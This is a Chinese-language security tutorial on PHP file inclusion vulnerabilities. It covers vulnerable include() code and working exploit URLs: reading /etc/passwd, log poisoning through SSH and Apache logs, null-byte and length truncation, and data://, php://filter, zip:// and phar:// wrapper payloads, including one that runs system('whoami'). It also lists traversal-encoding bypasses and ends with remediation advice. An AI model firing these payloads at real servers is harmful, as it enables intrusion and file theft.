文件包含漏洞
严格来说,文件包含漏洞是“代码注入”的一种,这种攻击其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。
常见的导致文件包含(文件读取)的函数如下:
PHP:
include():使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
测试代码:
<?php
$file = $_GET['file'];
include $file;
?>
同目录下有一个phpinfo.txt文件(内容为<?php phpinfo();?>)
JSP/servlet:ava.io.File(),java.io.File-eReader()等等
ASP:include file,include virtual等等。
文件包含有两种:
本地文件包含、远程文件包含 (即加载远程文件,在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。)
漏洞成因:
程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞。
- 具有相关的文件包含函数。
- 文件包含函数中存在动态变量,比如
include $file;
。 - 攻击者能够控制该变量,比如
$file = $_GET['file'];
。
PHP文件包含利用:
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
结合文件包含
用法跟其他的一样,不过得知道文件在哪叫啥
读取敏感文件:
访问:http://www.test.com/index.php?test=/etc/passwd,如果目标主机存在该文件,并且具有读权限,那么就可以读出文件内容。
远程包含shell:
- allow_url_fopen = On
- allow_url_include = On
在远程文件http://10.60.17.60里写入测试代码。
<?php fputs(fopen("text.php", "w"), "<?php phpinfo(); ?>") ?>访问http://127.0.0.1/123.php?file=http://10.60.17.46/phpinfo.php:将会在网站根目录下生成text.php文件,内容就是:"<?php phpinfo(); ?>"
图片上传并包含图片shell:
利用方法和上面的一样,只是这次是本地包含,直接在上传的图片中写入测试代码并访问图片地址即可。
SSH log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
之后会提示输入密码等等,随便输入。
然后在remotehost的ssh-log中即可写入php代码:
之后进行文件包含即可。
包含日志文件GetShell:
利用条件:需要知道服务器日志的存储路径,且日志文件可读。
既然存在文件包含漏洞就可以利用漏洞读取apache的配置文件找到日志文件的位置。(默认:包含日志文件GetShell)
利用:
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
长度截断:
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复
./
index.php?file=././././。。。省略。。。././shell.txt
0字节截断包含:
利用条件: php版本 < php 5.3.4
<?php
$file = $_GET['file'];
include $file.'/tasdas/asd.php';
?>
http://127.0.0.1/123.php?file=phpinfo.txt%00
正常上传图片一句话并访问:http://test.com/index.php?test=1.jpg会出错,因为包含文件里面不存在1.jpg.php这个文件,但是如果输入http://test.com/index.php?test=1.jpg%00,就极有可能会绕过检测。这种方法只适用于php.ini中magic_quotes_qpc=off并且PHP版本小于5.3.4的情况。如果为on,%00会被转义,以至于无法截断。
伪协议
PHP伪协议其实就是PHP支持的协议和封装的协议,
|
有两个比较重要的配置在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不开启的话,allow_url_include也是无法使用的。
File://
用于访问文件系统。(可用于任意文件执行),在allow_url_fopen 和allow_url_include任何状态下都可以用。
data://
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
http://127.0.0.1/123.php?file=data:text/plain,<?php phpinfo();?>
任意命令执行
http://127.0.0.1/123.php?file=data:text/plain,<?php system('whoami');?>
利用base64编码绕过
http://127.0.0.1/123.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号
+
的url编码为%2b
,PD9waHAgcGhwaW5mbygpOz8+
的base64解码为:<?php phpinfo();?>
zip:// -- zlib:// --bzip2:// --zip://
php版本大于等于php5.3.0
构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,同时将
#
编码为%23
,之后填上压缩包内的文件。
http://127.0.0.1/123.php?file=zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
http://127.0.0.1/123.php?file=zip://phpinfo.zip%23phpinfo.txt
http://127.0.0.1/123.php?file=zip://./phpinfo.zip%23phpinfo.txt
使用zip协议,需要指定绝对路径,同时将
#
编码为%23
,之后填上压缩包内的文件。
压缩流:在allow_url_fopen 和allow_url_include任何状态下都可以用。
使用方法:
- http://127.0.0.1/test/1.php?f=zip://./1.zip%231.txt(%23是#)
- http://127.0.0.1/test/1.php?f=zip:///Applications/MAMP/htdos/test/1.zip%231.txt
- http://127.0.0.1/test/1.php?f=file=compress.bzip2:///Applications/MAMP/htdos/test/file.jpg
- http://127.0.0.1/test/1.php?f=file=compress.bzip2://./file.jpg
实验:
http://127.0.0.1/test/1.php?file=zip://D:/soft/phpstudy/WWW/file.jpg%23phpcode.txt
将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件 名为file.zip,如果可以上传zip文件便直接上传,如果不能则将file.zip重命名为file.jpg后上传,其他几种压缩格式也可以这样操作。
PHP://phar
php版本大于等于php5.3.0
在网站根目录下有一个phpinfo.txt内容为<?php phpinfo();?>,打包成压缩包后:
使用绝对路径:
http://127.0.0.1/123.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
或者使用相对路径:
http://127.0.0.1/123.php?file=phar://phpinfo.zip/phpinfo.txt
PHP://input
-
allow_url_include = On。
-
对allow_url_fopen不做要求。
代表可以访问请求的原始数据,简单来说POST请求下,php://input可以获取到post数据,如果enctype=”multipart/form-data” 的时候 php://input 是无效的。
php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://filter
对allow_url_include 和allow_url_fopen不做要求。
在任意文件读取或者getshell会用到这个伪协议。
http://127.0.0.1/123.php?file=php://filter/read=convert.base64-encode/resource=auth.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
http://127.0.0.1/123.php?file=php://filter/convert.base64-encode/resource=auth.php
效果跟前面一样,少了read关键字。在绕过一些waf时也许有用。
php://filter类似于readfile()、file()、file_get_contents(),
在数据流内容读取之前没有机会应用其他过滤器。
在include函数使用上,经常会造成任意文件读取漏洞,而file_get_contents()
和file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。
php://filter 目标使用以下的参数作为它路径的一部分:
名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
任意文件读取payload:php://filter/read=convert.base64-encode/resource=upload.php
将upload.php的内容经过convert.base64-encode过滤器输入到当前页面。
php://filter/resource=1.txt
将1.txt的内容不经过过滤器直接作为代码运行。
伪协议用法小结:
其他的绕过:
指定前缀
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目录遍历
现在在C:\phpStudy\PHPTutorial\phpinfo.txt文件中有php代码<?php phpinfo();?>
,则利用../
可以进行目录遍历。
http://127.0.0.1/123.php?file=../phpinfo.txt
实际拼接路径为:C:\phpStudy\PHPTutorial\WWW\..\phpinfo.txt即C:\phpStudy\PHPTutorial\phpinfo.txt
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过。
利用url编码
../:
- %2e%2e%2f
- ..%2f
- %2e%2e/
..\:
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次编码
../:
- %252e%252e%252f
..\:
- %252e%252e%255c
容器/服务器的编码方式
../:
- ..%c0%af
- %c0%ae%c0%ae/(java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点))
..\:
- ..%c1%9c
指定后缀
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
利用协议
测试代码
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
构造压缩包如下:
http://127.0.0.1/1.php?file=zip://C:\phpStudy\PHPTutorial\WWW\test.zip%23test
http://127.0.0.1/1.php?file=phar://C:\phpStudy\PHPTutorial\WWW\test.zip
利用zip协议,注意要指定绝对路径
则拼接后为:zip://C:\phpStudy\PHPTutorial\WWW\test%23test/test/test.php
变量覆盖:
$$导致的变量覆盖,举个例子
$key = 'hello'
$hello = 'world'
echo $$key
输出world
extract()导致变量覆盖问题:
extract()使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将当前符号表中创建对应的一个变量。
parse_str函数导致的变量覆盖问题:
parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已经存在的同名变量。
文件包含修复方案:
-
禁止远程文件包含: allow_url_include=off
-
配置 open_basedir=指定目录,限制访问区域。
-
过滤../等特殊符号
-
修改Apache日志文件的存放地址
-
开启魔术引号 magic_quotes_qpc=on
-
尽量不要使用动态变量调用文件,直接写要包含的文件。